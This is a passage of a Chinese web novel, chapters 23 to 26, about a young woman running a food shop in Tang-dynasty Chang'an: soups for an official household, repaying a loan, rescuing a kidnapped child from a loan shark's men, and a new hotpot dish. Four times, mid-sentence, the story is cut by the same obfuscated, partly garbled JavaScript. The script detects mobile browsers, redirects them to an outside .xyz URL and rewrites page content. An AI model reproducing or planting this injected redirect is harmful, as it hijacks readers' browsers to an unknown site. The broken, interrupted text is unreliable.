她将南瓜去皮去瓤，切块蒸熟，碾成细腻的瓜泥。用纱布过滤掉粗纤维，得到极其顺滑的南瓜茸。另取少量杏仁，温水浸泡后去皮，磨成杏仁浆，同样过滤。 锅中加入少量清水和牛乳，缓缓倒入南瓜茸，小火慢搅，使其渐渐浓稠。再加入杏仁浆和少许饴糖，继续熬煮，直至羹体顺滑，香气融合。最后滴入一两滴芝麻油增香。 一锅色泽金黄、口感绵密、味道清甜醇厚、带着淡淡杏仁奶香的“金玉满堂羹”便做好了。 其名既应了南瓜的金色，又寓意吉祥，最适合老人食用。 沈知意仔细将羹汤盛入一个干净的白瓷盅里，盖好保温，又附上一张简要的食笺，说明用料与功效，让福伯立刻再跑一趟李府，只说小店新试的暖胃羹汤，请老夫人品鉴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429403|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指点，万勿推辞。 福伯虽觉一日之内连跑两趟有些冒昧，但见沈知意神色坚决，也知事关重大，连忙去了。 这一次，福伯去了许久方回。回来时，脸上带着难以置信的兴奋：“六娘！成了！成了！老夫人喝了那羹，竟一口气用了小半盅！直说香甜滑润，嘴里也不苦了！李夫人大喜，当场赏了老仆一百文钱！还、还说……” 他喘了口气，“还说日后府中老夫人的饮食，若厨子不得法，或要时常劳烦小娘子费心调制一些清淡可口的汤羹点心！价钱好说！” 沈知意闻言，长舒一口气，心中一块大石落地。这一步，她赌对了！能搭上李府老夫人日常饮食这条线，无疑是一道极其重要的护身符。即便虎爷之流再想动她，也得掂量掂量是否会得罪官家内眷。 “福伯，辛苦了。”她接过赏钱，心中已有了计较，“明日开始，每日清晨，你便送一小盅新熬的‘金玉满堂羹’或类似的清淡膳食去李府，风雨无阻。价钱嘛……按成本稍加即可，不必多取。” “哎！好！好！” 福伯连连点头，老脸笑得如同菊花绽放。 自此，沈记食肆每日清晨，便多了一项固定送往李府的“外卖”。 有时是南瓜羹，有时是山药粥，有时是精心炖制的清淡汤品。沈知意极尽巧思，变换花样，既保证口味清淡易消化，又注重营养搭配，深得老夫人欢心。李府给的报酬也颇为丰厚，且时常有些额外的赏赐。 这条稳定的高端客户线，不仅带来了可观的收入，更如同一种无声的宣告，让西市诸多势力意识到，这小小的沈记食肆背后，已隐约有了官家的影子。 数日后，沈知意敏锐地察觉到，那些在食肆周围窥探的陌生目光似乎减少了。后巷也再未发现可疑之物。连对街张记蒸饼铺，虽然依旧门庭冷落，但张胖子那阴狠的瞪视似乎也收敛了些许。 危机，似乎暂时缓解了。 沈知意不敢完全放松，但她知道，自己终于在这暗流汹涌的长安西市，为自己和家人，赢得了一丝宝贵的喘息之机。 夜色渐深，她核算着近日越发充盈的钱匣，目光落在窗外。是时候，考虑将那枚沉甸甸的、代表苏录事雪中送炭情谊的银锞子，归还回去了。 23. 第 23 章 攒够那五两银锞子，沈知意心中便惦记着归还苏晏清借款之事。这并非一笔小数目，更是雪中送炭的情谊，拖欠越久，她心中越是不安。 这日午后，食客稍稀，她仔细将银钱用一块干净的细布包好，揣入怀中，又另备了一小罐新熬的、用秋梨与蜂蜜慢炖的润肺梨膏，打算一并送去，聊表谢意。 她嘱咐福伯和邹娘子看店，自己则稍稍整理了一下衣裙，朝着苏晏清平日提及的、位于西市附近的光德坊走去。 光德坊毗邻西市，却多住着官员与殷实人家，坊内颇为清静。 行至坊门，她向守坊老卒打听苏录事宅邸。老卒打量了她一眼，见她衣着虽朴素却整洁，举止有度，便指了方向。 苏宅门庭并不显赫，黑漆大门紧闭，只角门开着，有个老苍头在门前洒扫。沈知意上前，敛衽一礼，温声道：“老丈请了，民女沈氏，乃西市沈记食肆店主，特来求见苏录事，归还前日借款，烦请通传。” 那老苍头停下扫帚，看了她一眼，似是得了吩咐，并未多问，只道：“小娘子稍候。”便转身入内。 不多时，出来的却是苏晏清身边那位青衣小童。小童见到沈知意，笑嘻嘻地行礼：“沈小娘子安好。公子今日恰在府中，请您进去说话。” 沈知意道了谢，随小童入内。宅院不大，却收拾得极为雅洁，庭中植有几竿翠竹，积雪未融，更显清幽。小童引她至一间书房外，通报了一声。 “请进。”苏晏清温和的声音自内传出。 沈知意深吸一口气，推门而入。书房内陈设简单，一桌一椅，满架书籍，墙上挂着一幅山水画，案上熏香袅袅。苏晏清正坐在案后，手持书卷，见她进来，便放下书，含笑示意她坐下。 “民女冒昧打扰，苏录事。”沈知意并未就坐，仍是站着，从怀中取出布包，双手奉上，“前日蒙您仗义相助，解了燃眉之急。今日特来归还借款，万分感激。”她又取出那罐梨膏，“这是小店自制的秋梨膏，润肺止咳，聊表心意，望您不弃。” 苏晏清并未立刻去接那银钱，目光在她略显局促却眼神清亮的脸上停留片刻，方才微微一笑，接过布包和梨膏，随手放在案上：“小娘子不必如此客气。银钱之事，不必急于一时。” “有借有还，方是正理。如今小店生意渐稳，不敢再叨扰苏录事。”沈知意语气诚恳。 苏晏清点点头，不再多言，转而问道：“近日生意可还顺遂？听闻暖寒会上，小娘子的炙肉和髓饼大受欢迎。” 沈知意心中微暖，知他虽未亲至，却仍关注着西市动静，便简略说了暖寒会和李府之事，略去了张胖子与虎爷的纠缠，只道：“托您的福，一切尚好。” “那就好。”苏晏清颔首，似是随意道，“长安居，大不易。小娘子凭手艺立足，心思巧，性子韧，甚好。日后若遇难处，不必硬撑，可来寻我。” 这话语温和，却带着一种沉甸甸的分量。沈知意心中感激，再次敛衽行礼：“苏录事厚爱，民女铭记于心。” 又闲谈几句，沈知意恐打扰他公务，便起身告辞。苏晏清也未多留，让那小童送她出去。 离开苏宅，走在清静的坊街上，沈知意只觉得心中一块大石落地，浑身轻松。银钱归清，人情犹在，前路似乎也明亮了许多。 回到食肆，却见邹娘子正拿着块抹布，心不在焉地擦着桌子，眼神时不时瞟向门外，神色间带着一丝不易察觉的焦虑。福伯则在灶台边唉声叹气。 “怎么了？”沈知意心中一紧，莫非又出了什么事？ 邹娘子见她回来，像是吓了一跳，手里的抹布都掉了，慌忙捡起来，支吾道：“没、没什么……六娘你回来了？” 福伯走过来，低声道：“六娘，方才你走后不久，有个生面孔的货郎在门口转悠，探头探脑的，问邹娘子是不是住后巷邹家的……邹娘子没敢答话，那人嘀咕了几句什么‘病秧子’、‘讨债’之类的话就走了。邹娘子吓得不轻。” 沈知意看向邹娘子，只见她脸色发白，手指紧紧攥着抹布，眼中满是惶恐。 “邹娘子，那人你认得？”沈知意柔声问。 邹娘子眼圈一红，低下头，声音细若蚊蚋：“像是、像是从前赁屋那家的远亲……男人没了后，他们、他们来逼过债……说我男人欠了他们的印子钱……要拿我顶债……我、我才躲出来的……” 印子钱！顶债！ 沈知意心中一沉。这分明是放印子钱的恶霸常用的逼债手段。邹娘子孤身带着病弱孩子，竟是如此才流落西市，躲藏求生。 难怪她平日那般胆小怯懦。 “莫怕，”沈知意按住邹娘子发抖的手，语气坚定，“你既在我店里做工，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433855|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便不会让人欺你。日后那人若再来，你只管躲着，一切有我。” “六娘……”邹娘子抬起头，眼中泪水滚落，噗通一声就要跪下，“谢谢……谢谢六娘……” 沈知意连忙扶住她：“快别这样。安心做事便是。” 安抚好邹娘子，沈知意心中却无法平静。邹娘子的遭遇，让她更深刻地体会到这世道对底层女子的残酷。也让她意识到，虎爷、张胖子之流，就如同跗骨之蛆，绝不会轻易放过任何可欺之人。 必须更快地变得强大，才能护住这小小食肆里的每一个人。 翌日清晨，沈知意照例熬制送往李府的羹汤时，忽闻邹娘子在后院低低啜泣。她寻声望去，只见邹娘子对着墙角一小堆枯草抹泪，那草堆里似乎埋着什么。 “邹娘子，怎么了？” 邹娘子见她过来，慌忙擦泪，哽咽道：“没、没什么……是阿宝……阿宝又咳得厉害，夜里都睡不安稳……这冬日里，药钱……” 阿宝是邹娘子病弱的儿子，平日托给相熟的老妪照看。沈知意心中一酸。她想了想，道：“今日这羹汤，我多备一份，你晚些带回去给阿宝尝尝。药钱若不够，我先支些工钱给你。” 邹娘子连连摆手：“使不得！六娘，工钱已很丰厚了……” “孩子要紧。”沈知意不容分说，转身回到灶台。 她今日备的是“杏酪粥”。将甜杏仁温水浸泡，去皮磨浆，滤去渣滓，得到乳白的杏仁酪。另取新小米熬粥，待粥将成时，缓缓调入杏仁酪，不断搅拌，直至粥体粘稠，香气融合。最后加入少许蜂蜜调味。 这杏酪粥润肺止咳，健脾和胃，最是适合体弱咳喘之人。她特意多熬了些，盛出一小盅让邹娘子带走。 傍晚，邹娘子千恩万谢地捧着那盅犹带温热的粥离去。沈知意看着她单薄的背影消失在暮色中，心中感慨万千。 这长安城，繁华似锦，却也藏着无数不为人知的悲苦。她所能做的，便是守好这方寸灶台，用这掌中勺、锅中食，一点点为自己，也为身边之人，挣出一份安稳与暖意。 夜色渐浓，她仔细锁好店门，又将明日需采买的食材一一记下。目光扫过账本上日益增长的数字，心中渐渐安定。 有了李府的稳定进项，食肆生意也稳步向好，或许再过不久，便能真正考虑扩张店面的事了。 24. 第 24 章 邹娘子捧着那盅温热的杏酪粥，千恩万谢地离去，单薄的背影很快消失在暮色沉沉的坊街尽头。 沈知意望着她消失的方向，心中那份因归还欠款而生的轻松，渐渐被一丝难以言喻的沉重取代。 这长安城的冬日，对邹娘子这般孤苦无依的妇人而言，太过寒冷了些。 她转身回店，与福伯一同收拾打烊。 两人都未多言，各自忙碌，食肆里只剩下碗碟碰撞的轻响和灶膛余火的噼啪声。 夜色渐深，寒意愈重。 沈知意仔细锁好店门，又将明日需采买的食材一一记下，目光扫过账本上日益增长的数字，心中才稍稍安定。 有了李府的稳定进项，食肆生意也稳步向好，或许再过不久，便能真正考虑扩张店面的事了。 然而，这份短暂的宁静并未持续多久。 翌日清晨，天刚蒙蒙亮，坊门方开，沈知意正与福伯生火熬粥，准备迎接早市的食客，忽听店外传来一阵急促踉跄的脚步声和撕心裂肺的哭喊。 “六娘！六娘！救命啊！救救阿宝！救救我的阿宝啊——！” 沈知意心中猛地一沉，疾步冲出店门。 只见邹娘子披头散发，脸色惨白如纸，泪痕纵横，身上的粗布衣裙沾满尘土，一只鞋也不知所踪，正跌跌撞撞地扑过来。 她一把抓住沈知意的胳膊，指甲几乎掐进肉里，声音凄厉得变了调： “阿宝！阿宝被他们抓走了！那些人……那些人闯进家里……把阿宝抢走了！说……说要是拿不出钱，就、就把阿宝卖到苦窑去！六娘！救救他！求求你救救他啊！” 她语无伦次，浑身抖得如同风中落叶，几乎要瘫软下去。 福伯闻声也赶出来，见状大惊失色：“什么？！光天化日竟敢抢孩子？！还有没有王法了！” 沈知意只觉得一股寒气从脚底直冲头顶，心脏狂跳，几乎要撞出胸腔。 她强自镇定，用力扶住几近崩溃的邹娘子，将她半拖半扶进店里，按在凳子上，急声问：“邹娘子！你慢慢说！是谁抓走了阿宝？往哪个方向去了？你看清那些人了吗？” 邹娘子涕泪交加，浑身筛糠般颤抖，断断续续地哭诉。 “是、是几个凶神恶煞的汉子。蒙着脸，天没亮就踹门进来。领头那个…脖、脖子上好像有刺青。他们说我男人欠了虎爷的印子钱…利滚利…这辈子都还不清。要、要拿阿宝抵债…我不给…他们就打我…抢了阿宝就跑…往、往东市那边去了…六娘！我的阿宝啊！他还在咳啊！离了药可怎么活啊！” 她说到最后，已是泣不成声，猛地跪倒在地，不住地磕头。 “六娘！你行行好！救救阿宝！我做牛做马报答你！求求你了！” 虎爷！刺青！东市！ 沈知意眼前瞬间闪过黑蝎子那张狞恶的脸和张胖子阴恻恻的眼神。 果然是他们！他们不敢直接对自己下手，竟使出如此卑劣毒辣的手段，对一个病弱的孩子下手！ “福伯！快去坊门找武侯！报官！说是有孩童被拐，往东市方向去了！快！” 沈知意厉声吩咐，声音因愤怒而微微发颤。 福伯应了一声，踉跄着就往外跑。 “等等！” 沈知意又猛地叫住他，脑中飞快权衡。 报官有用吗？虎爷那种地头蛇，岂会怕寻常武侯？ 等官府层层通传，只怕阿宝早已被转移！ 她一把拉起地上的邹娘子。 “邹娘子，你确定是往东市去了？他们可曾留下什么话？” 邹娘子哭得几乎晕厥，拼命摇头。 “没、没留话…就是往东市…我追出去…他们跑得快，不见了！” 东市那么大，鱼龙混杂，虎爷的巢穴必然隐蔽，如何去找？！ 就在这心急如焚、几乎绝望之际，一个身影如同旋风般冲进店来，正是阿努。 她显然刚听到动静，碧眼圆睁，气息急促：“六娘！邹娘子！怎么了？我听说阿宝出事了？” 沈知意如同抓到救命稻草，急声道：“阿努！阿宝被虎爷的人抓走了！往东市去了！你可有办法？！” 阿努脸色一变，猛地跺脚：“果然是那帮杀才！竟对孩子下手！畜生！” 她急急思索片刻，眼中一亮，“有个人或许能帮上忙！艾山！艾山大哥常往来东西两市，对东市的地头熟得很！我这就去找他！你们等着！” 说罢，不待沈知意回应，她已转身如一团火般冲了出去，铃声急促远去。 等待的时间变得无比漫长。 食肆内，邹娘子伏在桌上哀哀哭泣，声音嘶哑。 沈知意紧握双拳，指甲深深陷入掌心，强迫自己冷静思考。 虎爷抓阿宝，目的绝非真要卖孩子，多半是为了逼邹娘子就范，进而胁迫自己交出食肆或配方。 他们必定会主动联系！ 果然，不过一刻，一个穿着破烂、满脸污垢的小乞儿探头探脑地出现在店门口，扔进一个小纸团，转身就跑。 沈知意一把捡起纸团，展开一看，上面用歪歪扭扭的字写着：“午时前，拿十贯钱和胡饼肉串方子，到东市牲口市北角破庙赎人。过时不候，后果自负！” 十贯钱！方子！果然如此！ 沈知意气得浑身发抖，却反而冷静下来。 对方给了时间和地点，这便是机会。 “福伯，家中现钱还有多少？” “连、连同今日准备采买的，约莫五贯余钱……” “全都取来！快！” 钱不够！ 沈知意咬牙，目光扫过灶台，忽然落在那罐昨日熬好准备送往李府的杏酪粥上。粥已微凉，凝着一层细腻的脂膜。 她脑中灵光一闪。 “邹娘子，别哭了！阿宝有咳疾，离不得药，那些人未必会给他用药。这杏酪粥润肺止咳，或许能暂缓他的痛苦。” 她迅速将粥重新坐于小炉上温热，又取来一小包饴糖溶入其中，增加甜润，更易入口。然后寻来一个不大的陶罐，将热粥仔细倒入，盖紧。 就在这时，店外传来脚步声，阿努去而复返。 身后跟着的，正是那位身形高大面色沉静的艾山。 艾山依旧是那身半旧胡服，目光锐利如鹰，扫过店内情形，便已明白大半。 他言简意赅：“东市破庙，我知道。虎爷手下常在那处理脏事。人不会多，但必是狠角色。钱可备好了？” “只有五贯。” 沈知意将钱袋和那陶罐递过去，目光恳切。 “艾山大哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440280|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，钱不足数，但他们要方子，我可口头告知，拖延周旋。这罐粥，请设法让阿宝喝下，他咳得厉害。” 艾山接过钱袋和陶罐，掂了掂，深邃的目光在沈知意焦急却坚定的脸上停留一瞬，点了点头。“好。你们在此等候，勿要轻举妄动。” 他转向阿努，“阿努，你去寻相熟的胡商，多叫些人手，在破庙外围声援，不必进去，造出声势即可。” 阿努重重点头，立刻转身再去。 艾山不再多言，将陶罐小心揣入怀中，身影一闪，便迅疾地没入清晨尚未散去寒雾的街道，朝着东市方向而去。 等待，变得更加煎熬。 每一刻都如同一年般漫长。 沈知意紧紧握着邹娘子的手，两人手心皆是冰凉冷汗。 福伯坐立不安，不住地看向门外。 不知过了多久，仿佛一个世纪那般漫长，街角终于再次出现了艾山的身影。他步履依旧沉稳，怀中却多了一个用外袍紧紧裹着、不断咳嗽的小小身影。 “阿宝！” 邹娘子发出一声撕心裂肺的哭喊，疯了一般扑过去。 艾山将孩子递给她，声音平稳：“人赎回来了。受了些惊吓，无大碍。粥，他喝了小半罐。” 邹娘子紧紧抱住失而复得的儿子，摸着他冰凉的小脸，听着他虚弱的咳嗽，嚎啕大哭，不住地向艾山磕头。 沈知意悬到嗓子眼的心终于重重落下，双腿一软，几乎站立不住。 她看向艾山，只见他袍角沾了些尘土，神色却一如既往的平静，仿佛只是做了一件微不足道的小事。 “艾山大哥…多谢…钱…” 沈知意声音哽咽，不知该说什么好。 “钱，他们拿了。方子，我没给。”艾山淡淡道，“略施惩戒，他们短期内不敢再寻衅。” 沈知意瞬间明白，那“略施惩戒”恐怕绝非字面意思那般轻松。 她深深一福：“大恩不言谢……” 艾山摆摆手，目光扫过那空了的陶罐：“粥，很好。孩子喝了，咳缓了些。”他顿了顿，看向沈知意，“你，很好。” 说完，他不再多留，对闻讯赶来的阿努点了点头，身影便再次消失在渐次熙攘起来的街市人群中。 阿努看着艾山离去的方向，碧眼中闪过一丝复杂，随即又兴奋地转向沈知意。 “六娘！没事了！艾山大哥出马，肯定没问题！你是没见，刚才我们一群胡商聚在破庙外头嚷嚷，里头那几个瘪三吓得脸都白了！” 沈知意拉着阿努的手，心中感激无以言表。 这次若非阿努及时找来艾山，后果不堪设想。 风波暂息。邹娘子抱着昏昏沉沉的阿宝，泣不成声。沈知意让福伯帮忙，将母子二人安置到店后小间休息，又熬了碗安神的米汤喂阿宝喝下。 看着邹娘子紧紧搂着孩子如同护着失而复得珍宝的模样，沈知意心中百感交集。这世道艰难，弱者如同浮萍，唯有相互扶持，方能在这寒风中求得一丝暖意。 而那罐偶然熬制、本为润肺的杏酪粥，竟在这突如其来的劫难中，意外地带来了一线生机与慰藉。 她望向灶台中重新燃起的火焰，目光变得愈发坚定。 必须更快地变得强大，才能守护住这来之不易的方寸安稳。 25. 第 25 章 食肆内，气氛虽恢复了往日的忙碌，却悄然多了一丝不易察觉的紧绷。 邹娘子将阿宝接回后，几乎寸步不离地带在身边，即便在店里帮忙，也总忍不住时时看向角落里安静玩耍的儿子。 福伯洒扫时，目光也总下意识地扫向门外巷口。 沈知意心中警醒，深知必须尽快提升食肆的自保能力。 她暗中又给了西市管理杂役的小头目一份厚赏，请其加派人手，夜间多在食肆附近巡查看顾。 同时，她与大牛、栓子说定，若遇紧急，可随时来店中帮工，工钱从优。 然而，年关将近，另一重更实际的困难，伴随着凛冬的深入，悄然压了上来——炭价飞涨。 长安的冬日，寒冷刺骨。 食肆灶火终日不熄，耗炭量极大。 往年此时，炭价虽也会上涨，但尚在可承受范围。今年却不知何故，西市的石炭和木炭供应陡然紧张起来，价格一日三跳，较往年贵了将近一倍。 连平日里常用的价廉却烟大的“杂薪炭”也变得紧俏。 “六娘，这、这炭实在买不起了！” 福伯捧着空了大半的钱匣，愁眉苦脸地回来。 “今日问了几家炭行，石炭都要百二十文一担了！还抢不到好的！再这样下去，咱们这灶火都要烧不起了！” 灶火一旦跟不上，食肆生意立刻就要垮掉大半。 豚肉臊子面、胡麻髓饼、各色粥羹，哪一样离得开旺火？ 更何况如今还添了每日送往李府的羹汤，更是断不能停。 沈知意蹙紧眉头。 炭价高昂，已是全城难题，非她一家之困。 但坐等无疑自取灭亡。必须想法子开源节流。 节流…… 她目光扫过灶台。那终日燃烧的炙炉固然旺火持久，但耗炭也最巨。或许可改良一下？ 她沉吟片刻，让福伯去买些黄泥和砖石回来。又寻了铁匠铺的张大叔帮忙，在炙炉内部砌起一道道迂回曲折的隔火墙，又在外壁厚厚地糊上一层黄泥保温。 如此改造后，炉膛散热更慢，热力更集中，添一次炭能比往日多烧近半个时辰。 她又将每日熬煮高汤的大锅，移至炙炉余火之上利用余温慢煨，不再单独起灶。 甚至晚间打烊后，也将灶内未燃尽的炭火小心取出，埋入灰烬中保温，次日清晨再拨开使用。 一番精打细算，炭耗总算勉强控制下来，但成本依旧沉重。 开源更是迫在眉睫。 寻常吃食利润微薄，需得再琢磨些既能迎合冬日需求、利润又可观的新品。 这日，天空再次飘起细雪，寒意更重。 往来的食客无不缩颈呵手，进门便先要一碗热汤暖身。 沈知意望着那咕嘟冒泡的骨头浓汤，再看看案板上昨日买回因炭贵而未能尽数烤制成肉串的鲜嫩羊肉，心中蓦地一动。 她想起前世盛行的一种吃法——暖锅。 围炉而坐，沸汤中涮煮薄肉鲜蔬，暖身又美味。 唐代已有“暖锅”雏形，称为“古董羹”，但因燃料昂贵、器皿要求高，多在富贵之家流行。 若她能将其简化，引入食肆…… 说干就干。 她让福伯将平日炖汤的宽口深腹陶罐洗净，置于小泥炉上。 泥炉中放入烧得正旺的炭块，火力集中，比大灶省炭。 陶罐内注入熬好的浓郁骨头汤，加入姜片、葱段、少许盐和胡椒去腥增香。 另一边，她取来那块未用完的羊里脊肉，逆着纹理切成极薄的片，片片红白相间，薄如蝉翼，摊在盘中，宛如雪地落梅。 又洗了些菘菜、蘑菇、豆腐，切块装盘。 “福伯，挂出新牌：‘拨霞供’，每份三十文，赠汤饼一份。” “拨霞供？”福伯一愣，“这名儿雅致……是啥？” “便是这暖锅。”沈知意指着那咕嘟冒泡的陶罐，“天寒地冻，围炉而坐，自涮自食，暖身饱腹。” 牌子刚挂出，那翻滚的热气和奇特的吃法便吸引了食客注意。 “小娘子，这‘拨霞供’是何新奇物事？” 一个熟客好奇地凑过来。 “客官请看。”沈知意夹起一片薄如纸的羊肉，在沸汤中一涮，肉片瞬间变色卷曲，犹如云霞变幻，蘸了点酱料送入口中，“鲜嫩暖热，驱寒最佳。” 那客人看得眼热，咽了口唾沫。 “三十文……倒是不便宜，但看着暖和！给我来一份尝尝！” 有人带头，很快便有其他畏寒的食客跟着尝试。 小小的泥炉旁围坐三五人，守着翻滚的热汤，各自涮食肉片菜蔬，蘸着沈知意特调的咸鲜酱汁，吃得额头冒汗，浑身暖透。 在这严寒冬日里，竟是别有一番享受。 附赠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444178|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤饼最后下锅，吸饱了汤汁精华，更是满足。 “拨霞供”一经推出，立刻大受欢迎。 其价虽略高，但冬日里能吃得这般暖和惬意，且能自选涮食，颇受那些手头稍宽裕的行商、小吏喜爱。 一罐汤，数盘肉菜，便能坐收百余文，利润远比单卖汤面丰厚，耗炭却相对集中节省。 沈知意趁热打铁，又推出了“梅花汤饼”，将面片用模具压成梅花形状，煮熟后盛入清鸡汤中，撒上葱花，精致可爱，深受女客和孩童喜欢，价格也能卖高些。 靠着这几样新品，食肆总算顶住了炭价高昂的压力，每日进项不减反增。 沈知意并未放松警惕。张胖子近日虽看似安分，但其店铺门可罗雀，望向沈记的眼神却愈发阴鸷。虎爷的人也未再出现，但这反常的平静，反而更令人不安。 这日傍晚，雪下得大了些。 沈知意正在核算一日账目，忽见阿努顶着雪花跑来，碧色眼眸中带着一丝忧色。 “六娘，”她凑近低声道，“我刚在酒肆听几个东市来的客商嘀咕，说虎爷那边……好像吃了不小的亏，折了几个手下，正憋着火呢……还说什么……‘腊八祭灶，是个好日子’……你可得当心点！” 腊八祭灶？沈知意心中猛地一凛。 再过几日便是腊八节，长安素有祭灶习俗，亦是商家重视的节令。 虎爷提及此日，绝非吉兆。 她谢过阿努，心中警铃大作。 对方在暗处窥伺，伺机报复，腊八节人流繁杂，正是他们下手的大好时机。 必须早做防备。 她立刻找来福伯和邹娘子，神色凝重地叮嘱。 “腊八那日，店里生意必定繁忙，人多眼杂。所有食材采买，需我亲自经手，你们务必仔细查验，尤其是水缸、米面，更要留心！大牛和栓子那日也来帮忙，多个人多双眼睛。若有任何可疑之人或事，立刻告知我，切勿自作主张！” 两人见她说得严肃，连连点头，脸上也浮现出紧张神色。 夜色笼罩下，细雪无声飘落，将长安城染成一片静谧的银白。 沈记食肆的灯火在雪夜中显得格外温暖，却也格外脆弱。 沈知意推开窗，望着窗外愈下愈大的雪，寒意随风涌入，却不及她心中那丝冰冷的预感刺骨。 腊八祭灶…… 看来，一场真正的风雪，即将来临。 26. 第 26 章 腊月初八，长安城笼罩在一片肃杀的寒气中。 天色未明，细密的雪粒子便簌簌落下，敲打着屋檐窗棂，预示着这将是一个格外寒冷的腊八节。 沈记食肆内，却早已灯火通明，热气蒸腾。 “快！粥要熬得稠些！今日天冷，得多备着！” 沈知意嗓音微哑，指挥着众人。 大锅内，早已不是平日的“七宝五味粥”，而是特意为腊八节熬制的，用料更为扎实丰厚的“腊八粥”。 糯米、黄米、红豆、芸豆、红枣、莲子、核桃、栗子…… 十几种米豆果仁在锅中翻滚，熬得浓稠烂软，香气扑鼻。 “六娘，豆子都泡发好了，枣也去核了！” 邹娘子手脚麻利地将一大盆处理好的食材端过来，脸上虽仍有忧色，但动作却毫不含糊。 阿宝事件后，她似乎将所有的恐惧都化为了干活的力气。 “好！都下锅！”沈知意接过，将食材倾入沸腾的粥中，“福伯，柴火再加旺些！大牛，栓子，门口施粥的台子可搭稳了？” “搭稳了！六娘放心！” 大牛在外头应着，他和栓子天没亮就来了，正忙着在食肆门口用木板临时搭起一个长条案台，又搬来几口洗净的大缸，准备盛放施舍的粥。 今日是腊八，长安城中各大寺庙、富户乃至宫中皆有施粥舍饭的习俗，以积德行善，祈求来年平安。 沈知意早几日便决定，沈记食肆也要在此日施粥。 不为扬名，只为在这寒冬中，给那些真正饥寒交迫的苦命人一丝暖意，也为食肆积些福德，应对那隐隐逼近的风暴。 当然，施粥之余，食肆照常营业。 今日生意定然繁忙，更需小心谨慎。 粥香越来越浓，渐渐盖过了风雪的气息，飘散到清冷的街道上。 已有一些衣衫褴褛的老人、缩着脖子的乞儿、还有早早出来揽活却冻得瑟瑟发抖的苦力，循着香味，畏畏缩缩地聚拢过来，在远处张望，眼中带着期盼与怯懦。 辰时正刻，雪稍小了些。 沈知意深吸一口气，亲手将第一勺滚烫的腊八粥舀入一个大木桶中。 “开棚施粥！” 随着福伯一声吆喝，大牛和栓子抬起木桶，将热粥倒入门口案台上的大缸里。 浓郁的粥香和腾腾热气瞬间吸引了更多的人。 “排好队！人人有份！莫要挤！” 福伯维持着秩序。 邹娘子和大牛负责分粥，栓子则在一旁警惕地注视着人群。 沈知意站在棚下，目光扫过每一个前来领粥的面孔。 多是面黄肌瘦、冻得嘴唇发紫的穷苦人，接过热粥时那连声道谢和眼中瞬间亮起的光彩，让她心中酸涩又温暖。 施粥有条不紊地进行着。 食肆内，也开始迎来今日的第一批食客。 大多是熟客，进门先笑着道一声“腊八吉祥”，然后便要一碗热腾腾的腊八粥或几个胡麻饼，边吃边暖和身子。 “小娘子心善，这粥熬得真香！” 一个老主顾捧着碗赞道。 “是啊，料足！喝下去浑身都暖了！” 沈知意笑着应和，手下忙碌不停，眼角余光却始终留意着四周。 阿努的警告言犹在耳，她不敢有丝毫松懈。 所有食材，从米豆到水，皆是她与福伯亲自经手，烹煮过程也由邹娘子和大牛寸步不离地盯着。 临近午时，雪又大了起来，施粥的队伍却排得更长。 食肆内的客人也越来越多，生意果然比平日更繁忙。 福伯收钱收到手软，邹娘子和大牛穿梭其间，端粥送饼。 就在这时，街口传来一阵喧哗。 只见几个穿着公服、腰挎横刀的市署吏员，在一个面色冷峻的领头人带领下，推开排队领粥的人群，径直朝着食肆走来。 “让开！让开！市署巡査！” 为首的吏员声音严厉，正是那日曾被苏晏清斥退的王录事！ 店内食客顿时安静下来，纷纷侧目。 排队领粥的穷苦人也吓得噤声后退。 沈知意心中猛地一紧，来了！果然来了！ 她放下手中的活计，净了净手，迎上前去，不卑不亢地行礼：“王录事，腊八吉祥。不知今日巡査，有何见教？” 王录事皮笑肉不笑，目光在店内和施粥的摊子上一扫：“沈小娘子，腊八施粥，积德行善，是好事。不过……” 他话音一转，语气陡然严厉，“有人举告，你店中施粥所用米豆，乃是以次充好、甚至霉变的陈粮！熬粥之水亦不洁净！可有此事？！” 此言一出，满场哗然。 施粥用霉米脏水？这可是伤天害理、激起民愤的大罪！ 